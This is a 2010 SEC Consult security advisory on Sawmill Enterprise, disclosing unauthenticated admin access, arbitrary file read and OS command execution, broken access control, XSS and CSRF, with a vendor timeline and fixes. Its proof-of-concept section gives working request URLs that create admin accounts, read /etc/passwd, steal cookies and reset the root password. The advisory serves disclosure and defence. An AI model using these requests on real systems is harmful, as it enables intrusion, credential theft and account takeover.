Multiple critical vulnerabilities in Sawmill Enterprise log file analysis software

SEC Consult Security Advisory < 20101021-0 >


title: Multiple critical vulnerabilities

product: Sawmill - Universal Log File Analysis

vulnerable version: Sawmill Enterprise < v8.1.7.3

fixed version: v8.1.7.3

impact: critical


found: 2010-07-20

by: J. Greil / SEC Consult /



Vendor description:


"Sawmill is universal log analysis software that runs on every major

platform. It can process almost any type of log data. The reports that

Sawmill generates are hierarchical, attractive, and heavily

cross-linked for easy navigation. Complete documentation is built

directly into the program."





Vulnerability overview/description:


Sawmill suffers from multiple critical vulnerabilities which allow an

_unauthenticated_ attacker to gain administrative rights. Furthermore

it is possible to access (RW) the file system and execute arbitrary

commands on the operating system without authentication.


Attackers with valid accounts are able to reset the root password or

add/delete log profiles, view and manipulate admin settings etc.


It must be noted that further vulnerabilities are to be expected

within the software (such as buffer overflows, etc.). Due to lack of

time no further vulnerabilities could be searched.



1) Unauthenticated access to critical functions

Unauthenticated attackers are e.g. able to create new user accounts

with administrative "Manager" roles. It is possible to exploit the

built-in "salang" scripting language to read/write files on the file

system (e.g. user configuration with MD5 hashes), connect to other

internal systems or execute arbitrary operating system commands.



2) Insufficient validation of user access rights

Users with standard access rights/roles (e.g. "Statistics Visitor") are

able to access functions or methods of the Sawmill application where

they shouldn't have access to (default permissions of installation).


"Statistics visitor" users are able to access administrative functions

or admin menus in order to gain sensitive information or even manipulate

settings, create new profiles or delete profiles. The creation of new

profiles also results in a denial-of-service (temporarily until admin

deletes profiles) if more profiles are being created than the license

currently allows.


It is possible to access the Sawmill setup page in order to reset the

Sawmill root username and password with a standard user account.


A standard user is also able to gain access to more functions within

the interface (e.g. regarding profiles) just by changing local

JavaScript variables, e.g. through an intercepting proxy server.




There are many parameters which are not properly sanitised and

vulnerable to XSS. Furthermore no protection against CSRF is in place

which e.g. allows remote attackers to reset the root password by

e.g. exploiting the vulnerabilities in section 1 or 2.



Proof of concept:


1) Unauthenticated access to critical functions


* Create a user account with admin rights:

http:// $host/?a=cu&u=testing&pw=testing&roles=role_1


* Read files of the file system:

http:// $host/?a=ee&exp=error(read_file('/etc/passwd'))

http:// $host/?a=ee&exp=error(read_file('LogAnalysisInfo/users.cfg'))


(error() call is needed to print the output within the web interface

instead of stdout)


* Write files:

E.g. use the write_file() method


* Execute OS commands:

http:// $host/?a=ee&exp=exec('/bin/ls','Output',1))

(exec() only returns PID and no output. I'll leave it to the

creativity of the reader to further exploit this :))



2) Insufficient validation of user access rights


* Access to the "new profile wizard" including file browser as standard

"Statistics viewer" user:

This feature also allows to choose arbitrary files as log analysis

input and to disclose its contents then (file disclosure):


http:// $host/?dp+templates.new_profile_wizard.index


* Access the Sawmill setup page to reset Sawmill root password:

http:// $host/?dp=templates.setup


* Gain sensitive information, such as config/user settings:

http:// $host/?dp=templates.admin_pages.users.get_data&v.fp.is_root_admin=true&v.fp.is_unlimited_grants=true


http:// $host/?dp=templates.admin_pages.root_admin.get_data

[... see file system for further pages ...]


* Manipulate/create/delete user accounts:

  POST /?dp+templates.admin_pages.users.save_data 
  Host: $host



* Changing local variables:

By changing the local JS variables "isrootAdmin", "isAdd", "isDelete",

etc. from "false" to "true" an attacker is able to unlock "hidden"

features and e.g. is able to manipulate other profiles on the index page

(other profiles can be deleted!).



3) XSS (valid session necessary, payload will be auto-executed after


http:// $host/?dp=reports&p=testprofile&wbsi=";alert(document.cookie);//

http:// $host/?dp=reports&p=testprofile&rii=";alert(123);//&wbsi=1279796468489657


Unauthenticated XSS:

http:// $host/?dp=printer_friendly_report&%253cscript%253ealert%281%29%253c/script%253e=1


CSRF to reset root account to chosen password (valid standard user

session necessary):

http:// $host/?dp=templates.setup&volatile.fp.setup_directive=finish&volatile.fp.license_key=&volatile.fp.username=root&volatile.fp.password=test&volatile.fp.trial_licensing_features=&volatile.fp.talkback=false&volatile.is_server_background_call=true


Vulnerable / tested versions:


Sawmill Enterprise v8.1.5.1 (running on Linux)


Older versions may be vulnerable too, but have not been tested as

v8.1.5.1 is the latest version available at the time of testing

(July 2010).


During the time of fixing, v8.1.6.3 has been tested shortly and the

most critical flaws have not yet been fixed in this version.


Furthermore, some pre-release builds after v8.1.6.3 have been shortly

tested too.



Vendor contact timeline:


2010-07-29: Contacting Sawmill via email and asking for a security

contact (sales@ and

2010-07-29: Quick reply of Sawmill Sales and Support team

Sent advisory to given contact

2010-07-29: Again quick reply of given contact with estimated fixing

time (early September with next release 8.1.6)

2010-07-30: Confirmation of vulnerabilities from vendor

2010-08-02: Asking for information which Sawmill versions are affected

2010-08-12: Vendor: Fixing is in progress, version info will be

collected in an internal document

2010-09-01: Vendor: problems mostly fixed in upcoming 8.1.6 in about

two weeks

2010-09-07: New release available, does not fix critical


2010-09-08: Pre-release version available, very shortly checked for fix

of critical vulnerabilities, 8.1.7 is scheduled, XSS still


2010-09-21/24: v8.1.7 will be released soon, fixes most critical bugs.

Short-term plan to implement URL parameter filtering against

XSS in future versions

2010-10-01: Sending new advisory draft to sawmill for review

2010-10-07: v8.1.7 still under QA

2010-10-13: v8.1.7.3 is available: Fixes all reported flaws, CSRF

protection will come in future releases.

2010-10.21: Coordinated release date


Special thanks to Greg!




Upgrade to the latest available version v8.1.7.3




Restrict access to the software as much as possible. Only allow trusted

IP addresses and users in order to minimise attack surface. No other

proper workaround is available.



Advisory URL:





SEC Consult Unternehmensberatung GmbH


Office Vienna

Mooslackengasse 17

A-1190 Vienna



Tel.: +43 / 1 / 890 30 43 - 0

Fax.: +43 / 1 / 890 30 43 - 25

Mail: research at sec-consult dot com


EOF J. Greil / @2010